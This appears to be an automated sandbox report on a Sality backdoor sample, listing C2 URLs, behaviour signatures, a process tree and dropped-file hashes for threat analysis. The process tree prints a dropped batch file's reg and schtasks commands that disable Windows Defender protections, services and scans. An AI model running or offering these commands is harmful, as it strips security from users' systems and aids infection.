Analysis

  • max time kernel
    89s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/02/2024, 22:11

General

  • Target
    9eb1fc2dda070db70317f1ff4c8da872.exe
  • Size 24.0MB
  • Sample240215-137dlaag47
  • SHA256 b0def179e433234239127de81ad3e27c7464a26c7542c17e2dd2d01746aaf1d8
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • sality

C2
  • http://89.119.67.154/testo5/

  • http://kukutrustnet777.info/home.gif

  • http://kukutrustnet888.info/home.gif

  • http://kukutrustnet987.info/home.gif

  • http://www.klkjwre9fqwieluoi.info/

  • http://kukutrustnet777888.info/

  • http://klkjwre77638dfqwieuoi888.info/

Signatures

  • Modifies firewall policy service 2 TTPs 6 IoCs
  • Sality

    Sality is backdoor written in C++, first discovered in 2003.

  • UAC bypass 3 TTPs 2 IoCs
  • Windows security bypass 2 TTPs 12 IoCs
  • Disables RegEdit via registry modification 2 IoCs
  • Disables Task Manager via registry modification
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • UPX packed file 16 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Windows security modification 2 TTPs 14 IoCs
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • NSIS installer 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 2 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\fontdrvhost.exe
    "fontdrvhost.exe"
    1⤵
      PID:800
    • C:\Windows\system32\fontdrvhost.exe
      "fontdrvhost.exe"
      1⤵
        PID:808
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        1⤵
          PID:392
        • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
          "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
          1⤵
            PID:3900
          • C:\Windows\System32\RuntimeBroker.exe
            C:\Windows\System32\RuntimeBroker.exe -Embedding
            1⤵
              PID:5092
            • C:\Windows\System32\RuntimeBroker.exe
              C:\Windows\System32\RuntimeBroker.exe -Embedding
              1⤵
                PID:3296
              • C:\Windows\System32\RuntimeBroker.exe
                C:\Windows\System32\RuntimeBroker.exe -Embedding
                1⤵
                  PID:1764
                • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe
                  "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe" -ServerName:InputApp.AppX9jnwykgrccxc8by3hsrsh07r423xzvav.mca
                  1⤵
                    PID:1304
                  • C:\Windows\System32\RuntimeBroker.exe
                    C:\Windows\System32\RuntimeBroker.exe -Embedding
                    1⤵
                      PID:4136
                    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                      1⤵
                        PID:4036
                      • C:\Windows\System32\RuntimeBroker.exe
                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                        1⤵
                          PID:3964
                        • C:\Windows\system32\DllHost.exe
                          C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                          1⤵
                            PID:3780
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                            1⤵
                              PID:3596
                            • C:\Windows\Explorer.EXE
                              C:\Windows\Explorer.EXE
                              1⤵
                                PID:3452
                                • C:\Users\Admin\AppData\Local\Temp\9eb1fc2dda070db70317f1ff4c8da872.exe
                                  "C:\Users\Admin\AppData\Local\Temp\9eb1fc2dda070db70317f1ff4c8da872.exe"
                                  2⤵
                                  • Checks computer location settings
                                  • Suspicious use of WriteProcessMemory
                                  PID:4220
                                  • C:\Users\Admin\AppData\Local\Temp\WinDriversQt.exe
                                    "C:\Users\Admin\AppData\Local\Temp\WinDriversQt.exe"
                                    3⤵
                                    • Modifies firewall policy service
                                    • UAC bypass
                                    • Windows security bypass
                                    • Disables RegEdit via registry modification
                                    • Executes dropped EXE
                                    • Windows security modification
                                    • Checks whether UAC is enabled
                                    • Drops file in Windows directory
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    • Suspicious use of SetWindowsHookEx
                                    • Suspicious use of WriteProcessMemory
                                    • System policy modification
                                    PID:748
                                    • C:\Windows\System32\Conhost.exe
                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                      4⤵
                                        PID:2960
                                      • C:\Windows\system32\cmd.exe
                                        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\5043.tmp\5044.tmp\5045.bat C:\Users\Admin\AppData\Local\Temp\WinDriversQt.exe"
                                        4⤵
                                        • Suspicious use of WriteProcessMemory
                                        PID:3888
                                        • C:\Windows\system32\reg.exe
                                          reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                                          5⤵
                                            PID:4572
                                          • C:\Windows\system32\reg.exe
                                            reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                            5⤵
                                              PID:3692
                                            • C:\Windows\system32\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                              5⤵
                                                PID:4756
                                              • C:\Windows\system32\reg.exe
                                                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                                5⤵
                                                  PID:1508
                                                • C:\Windows\system32\reg.exe
                                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                                  5⤵
                                                    PID:4076
                                                  • C:\Windows\system32\reg.exe
                                                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                                    5⤵
                                                      PID:5072
                                                    • C:\Windows\system32\reg.exe
                                                      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                                      5⤵
                                                        PID:3516
                                                      • C:\Windows\system32\reg.exe
                                                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
                                                        5⤵
                                                          PID:2944
                                                        • C:\Windows\system32\reg.exe
                                                          reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                          5⤵
                                                            PID:2232
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                                            5⤵
                                                              PID:4312
                                                            • C:\Windows\system32\reg.exe
                                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                                              5⤵
                                                                PID:1584
                                                              • C:\Windows\system32\reg.exe
                                                                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                                                5⤵
                                                                  PID:2928
                                                                • C:\Windows\system32\reg.exe
                                                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                                                  5⤵
                                                                    PID:460
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                                    5⤵
                                                                      PID:3720
                                                                    • C:\Windows\system32\schtasks.exe
                                                                      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                                      5⤵
                                                                        PID:3772
                                                                      • C:\Windows\system32\schtasks.exe
                                                                        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                                        5⤵
                                                                          PID:3680
                                                                        • C:\Windows\system32\reg.exe
                                                                          reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
                                                                          5⤵
                                                                            PID:3552
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
                                                                            5⤵
                                                                              PID:2132
                                                                            • C:\Windows\system32\schtasks.exe
                                                                              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                                              5⤵
                                                                                PID:1092
                                                                              • C:\Windows\system32\reg.exe
                                                                                reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                                5⤵
                                                                                  PID:3024
                                                                                • C:\Windows\system32\reg.exe
                                                                                  reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                                  5⤵
                                                                                    PID:2288
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                                    5⤵
                                                                                      PID:3728
                                                                                    • C:\Windows\system32\reg.exe
                                                                                      reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                                      5⤵
                                                                                        PID:3400
                                                                                      • C:\Windows\system32\reg.exe
                                                                                        reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                        5⤵
                                                                                          PID:1912
                                                                                        • C:\Windows\system32\reg.exe
                                                                                          reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                          5⤵
                                                                                            PID:1520
                                                                                          • C:\Windows\system32\reg.exe
                                                                                            reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                                            5⤵
                                                                                              PID:2764
                                                                                            • C:\Windows\system32\reg.exe
                                                                                              reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                                              5⤵
                                                                                                PID:2700
                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                                                                5⤵
                                                                                                  PID:3616
                                                                                                • C:\Windows\system32\reg.exe
                                                                                                  reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                                                  5⤵
                                                                                                    PID:5096
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                                                                                    5⤵
                                                                                                      PID:5116
                                                                                                • C:\Users\Admin\AppData\Local\Temp\vnb656-full.exe
                                                                                                  "C:\Users\Admin\AppData\Local\Temp\vnb656-full.exe"
                                                                                                  3⤵
                                                                                                  • Modifies firewall policy service
                                                                                                  • UAC bypass
                                                                                                  • Windows security bypass
                                                                                                  • Disables RegEdit via registry modification
                                                                                                  • Executes dropped EXE
                                                                                                  • Windows security modification
                                                                                                  • Checks whether UAC is enabled
                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                  • System policy modification
                                                                                                  PID:5060
                                                                                            • C:\Windows\system32\taskhostw.exe
                                                                                              taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                                                                                              1⤵
                                                                                                PID:2748
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                                                1⤵
                                                                                                  PID:2624
                                                                                                • C:\Windows\system32\sihost.exe
                                                                                                  sihost.exe
                                                                                                  1⤵
                                                                                                    PID:2588

                                                                                                  Network

                                                                                                        MITRE ATT&CK Enterprise v15

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                                                                                                        Downloads

                                                                                                        5045.bat

                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\5043.tmp\5044.tmp\5045.bat
                                                                                                        • Size 3KB
                                                                                                        • SHA256 dcaba420b47b5527bd3761ae8a2b76bbbf387100613b7c2f256cfe9ec58fb579
                                                                                                        • MD5 SHA1 SHA512

                                                                                                        WinDriversQt.exe

                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\WinDriversQt.exe
                                                                                                        • Size 163KB
                                                                                                        • SHA256 38084b3d9628b436e65b7599828a94340a7d905ce9bbc3d2258c05a4bb4e322d
                                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                                        vnb656-full.exe

                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\vnb656-full.exe
                                                                                                        • Size 416KB
                                                                                                        • SHA256 523f190487046199ea363639e16dc7c1a43229aa21e6fe537b0d87e188d3c21b
                                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                                        vnb656-full.exe

                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\vnb656-full.exe
                                                                                                        • Size 160KB
                                                                                                        • SHA256 6c5cadd7f8ed3169121a170b346710e9377a2a41153e58aa46b935a579fb2765
                                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                                        vnb656-full.exe

                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\vnb656-full.exe
                                                                                                        • Size 186KB
                                                                                                        • SHA256 ab9736a9c2ec3aeb79f751841c610355eb8f0f8178faaaff889711a150b5c195
                                                                                                        • MD5 SHA1 SHA512 SSDEEP

                                                                                                        memory/748-35-0x0000000002240000-0x00000000032CE000-memory.dmp

                                                                                                        memory/748-48-0x0000000000400000-0x000000000042D000-memory.dmp

                                                                                                        memory/748-26-0x00000000033D0000-0x00000000033D1000-memory.dmp

                                                                                                        memory/748-17-0x0000000002240000-0x00000000032CE000-memory.dmp

                                                                                                        memory/748-18-0x0000000002240000-0x00000000032CE000-memory.dmp

                                                                                                        memory/748-29-0x00000000005B0000-0x00000000005B2000-memory.dmp

                                                                                                        memory/748-27-0x00000000005B0000-0x00000000005B2000-memory.dmp

                                                                                                        memory/748-25-0x0000000002240000-0x00000000032CE000-memory.dmp

                                                                                                        memory/748-28-0x0000000002240000-0x00000000032CE000-memory.dmp

                                                                                                        memory/748-30-0x0000000002240000-0x00000000032CE000-memory.dmp

                                                                                                        memory/748-31-0x0000000002240000-0x00000000032CE000-memory.dmp

                                                                                                        memory/748-32-0x0000000002240000-0x00000000032CE000-memory.dmp

                                                                                                        memory/748-33-0x0000000002240000-0x00000000032CE000-memory.dmp

                                                                                                        memory/748-34-0x0000000002240000-0x00000000032CE000-memory.dmp

                                                                                                        memory/748-10-0x0000000000400000-0x000000000042D000-memory.dmp

                                                                                                        memory/748-41-0x00000000005B0000-0x00000000005B2000-memory.dmp

                                                                                                        memory/748-13-0x0000000002240000-0x00000000032CE000-memory.dmp

                                                                                                        memory/748-16-0x0000000002240000-0x00000000032CE000-memory.dmp

                                                                                                        memory/4220-19-0x0000000002E10000-0x0000000002E12000-memory.dmp

                                                                                                        memory/4220-22-0x00000000030C0000-0x00000000030C1000-memory.dmp

                                                                                                        memory/4220-58-0x0000000002E10000-0x0000000002E12000-memory.dmp

                                                                                                        memory/4220-23-0x0000000002E10000-0x0000000002E12000-memory.dmp

                                                                                                        memory/5060-71-0x0000000002210000-0x000000000329E000-memory.dmp

                                                                                                        memory/5060-66-0x0000000002210000-0x000000000329E000-memory.dmp

                                                                                                        memory/5060-60-0x0000000002210000-0x000000000329E000-memory.dmp

                                                                                                        memory/5060-55-0x0000000000400000-0x000000000046C000-memory.dmp

                                                                                                        memory/5060-68-0x0000000006940000-0x0000000006941000-memory.dmp

                                                                                                        memory/5060-70-0x0000000006650000-0x0000000006652000-memory.dmp

                                                                                                        memory/5060-72-0x0000000006650000-0x0000000006652000-memory.dmp

                                                                                                        memory/5060-62-0x0000000002210000-0x000000000329E000-memory.dmp

                                                                                                        memory/5060-78-0x0000000000400000-0x000000000046C000-memory.dmp